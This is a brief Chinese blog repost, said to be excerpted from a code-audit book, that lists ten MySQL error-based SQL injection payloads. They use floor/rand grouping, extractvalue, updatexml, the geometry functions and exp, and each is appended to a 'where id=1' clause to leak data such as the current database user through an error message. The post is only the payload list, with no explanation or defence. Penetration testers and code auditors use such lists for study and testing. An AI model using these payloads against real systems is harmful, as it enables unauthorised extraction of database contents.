每天学习一点点,每天进步一点点.
login

十种MySQL报错注入

2018-04-26 11:41:01  |  分类: Mysql |  标签: 无 阅读(2445)    评论(0)

以下均摘自《代码审计:企业级Web代码安全架构》一书

  1. 1.floor()
  2. select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  3. 2.extractvalue()
  4. select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  5. 3.updatexml()
  6. select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  7. 4.geometrycollection()
  8. select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  9. 5.multipoint()
  10. select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  11. 6.polygon()
  12. select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  13. 7.multipolygon()
  14. select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  15. 8.linestring()
  16. select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  17. 9.multilinestring()
  18. select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  19. 10.exp()
  20. select * from test where id=1 and exp(~(select * from(select user())a));

转自:

http://www.cnblogs.com/wocalieshenmegui/p/5917967.html

留言区域